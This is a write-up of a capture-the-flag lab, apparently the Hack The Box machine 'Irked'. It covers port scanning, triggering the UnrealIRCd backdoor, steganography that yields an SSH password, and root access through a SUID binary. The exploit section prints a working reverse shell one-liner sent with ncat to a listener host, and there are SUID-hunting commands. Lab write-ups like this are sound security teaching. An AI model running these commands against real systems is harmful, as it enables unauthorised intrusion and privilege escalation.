Skip to main content

HTB - Irked

alt

Basic Nmap scan

Nmap Command: nmap -Pn -n -sC -sV -oA scan_boxs/irked/nmap/10.10.10.117-d-scan 10.10.10.117
Nmap scan report for 10.10.10.117
Host is up (0.14s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a5df5bdcf8378b675319bdc79c5fdad (DSA)
| 2048 752e66bfb93cccf77e848a8bf0810233 (RSA)
| 256 c8a3a25e349ac49b9053f750bfea253b (ECDSA)
|_ 256 8d1b43c7d01a4c05cf82edc10163a20c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 40391/tcp status
| 100024 1 42763/tcp6 status
| 100024 1 46385/udp status
|_ 100024 1 53155/udp6 status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Open ports : 22,80,111

PORTSERVICEPRODUCTVERSIONEXTRAINFO
22sshOpenSSH6.7p1 Debian 5+deb8u4protocol 2.0
80httpApache httpd2.4.10(Debian)
111rpcbind2-4RPC #100000

Scanning for all the ports

alt

nmap command: nmap -Pn -n -sV -p 22,80,111,6697,8067,40391,65534 -oA scan_boxs/irked/nmap/irked-ps-scan 10.10.10.117
Nmap scan report for 10.10.10.117
Host is up (0.16s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
40391/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The host name is irked.htb updating our /etc/hosts file. And looks like IRC is running and detect the version.

alt

Detect irc version

To grab the banner information and identify irc version information we can refer RFC information IRC rfc

alt

We can try to connect as a user and see the response and maybe we can find irc version information in the banner.

alt

Entered the following commands to communicate with the irc server and the response had the version information as well

PASS cyboPass                             
NICK cybo1
USER cybo somehost someserver :cyborealm

irc version info:

alt

Exploit

unreal backdoor

unreal backdoor explained

The backdoor is disguised as a debug statement.
Testing the command execution by sending ping command through ncat and capturing the packets with tcpdump.

alt

As we can see the ping command is executed successfully.

Reverse shell

echo "AB; bash -c 'bash -i >& /dev/tcp/10.10.14.7/9001 0>&1'" | ncat 10.10.10.117 8067

alt

user flag - failed

alt

looks like the file is owned by djmardov user. Digging deeper into the directories reveals .backup file in Documents directory and its readable by the user.

alt

alt

This gives us a hint that it could be a steganography task. The only image we found so far is in the home page. Downloading the file and extracting the information from it.

Steganography with steghide

alt

steghide has extracted file pass.txt from the image file and password from .backup file is used.

alt

And this could be ssh password for the user djmardov. Attempting connect through ssh as djmardov user.

ssh as djmardov

alt

user flag

alt

Privilege escalation

Finding SUID files

find / -perm -u=s -type f -exec ls -la 2>/dev/null {} \;

alt

The interesting file is /usr/bin/viewuser, lets investigate the file with ltrace

Analyze binary file

Transfer the binary with base64

djmardov@irked:~$ base64 -w 0 /usr/bin/viewuser
f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAQAQAADQAAADwFwAAAAAAADQAIAAJACgAHgAdAAYAAAA0AAAANAAAADQAAAAgAQAAIAEAAAUAAAAEAAAAAwAAAFQBAABUAQAAVAEAABMAAAATAAAABAAAAAEAAAABAAAAAAAAAAAAAAAAAAAAHAgAABwIAAAFAAAAABAAAAEAAAD0DgAA9B4AAPQeAAAwAQAANAEAAAYAAAAAEAAAAgAAAPwOAAD8HgAA/B4AAPAAAADwAAAABgAAAAQAAAAEAAA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AAAMAQAADAEAAAQAAAAAAAAAAAAAAAIAAAACAAAAJsAAAABAAAABgAAAEAEAABABAAAIgIAAAAAAAAAAAAAEAAAAAAAAAChAAAAAQAAAAYAAABkBgAAZAYAABQAAAAAAAAAAAAAAAQAAAAAAAAApwAAAAEAAAACAAAAeAYAAHgGAACIAAAAAAAAAAAAAAAEAAAAAAAAAK8AAAABAAAAAgAAAAAHAAAABwAANAAAAAAAAAAAAAAABAAAAAAAAAC9AAAAAQAAAAIAAAA0BwAANAcAAOgAAAAAAAAAAAAAAAQAAAAAAAAAxwAAAA4AAAADAAAA9B4AAPQOAAAEAAAAAAAAAAAAAAAEAAAABAAAANMAAAAPAAAAAwAAAPgeAAD4DgAABAAAAAAAAAAAAAAABAAAAAQAAADfAAAABgAAAAMAAAD8HgAA/A4AAPAAAAAGAAAAAAAAAAQAAAAIAAAAlgAAAAEAAAADAAAA7B8AAOwPAAAUAAAAAAAAAAAAAAAEAAAABAAAAOgAAAABAAAAAwAAAAAgAAAAEAAAHAAAAAAAAAAAAAAABAAAAAQAAADxAAAAAQAAAAMAAAAcIAAAHBAAAAgAAAAAAAAAAAAAAAQAAAAAAAAA9wAAAAgAAAADAAAAJCAAACQQAAAEAAAAAAAAAAAAAAABAAAAAAAAAPwAAAABAAAAMAAAAAAAAAAkEAAAHAAAAAAAAAAAAAAAAQAAAAEAAAABAAAAAgAAAAAAAAAAAAAAQBAAAFAEAAAcAAAALAAAAAQAAAAQAAAACQAAAAMAAAAAAAAAAAAAAJAUAABZAgAAAAAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAAAADpFgAABQEAAAAAAAAAAAAAAQAAAAAAAAA=

create a viewuser-b64 file and decode the base64 file.

alt

ltrace analysis

alt

ltrace reveals that the there is script executed with setuid to 0. This can be exploited.

Exploit

Create a listusers file in the temp directory with the code to launch bash shell and execute viewuser. This should create a root shell.

alt

alt

Root flag

alt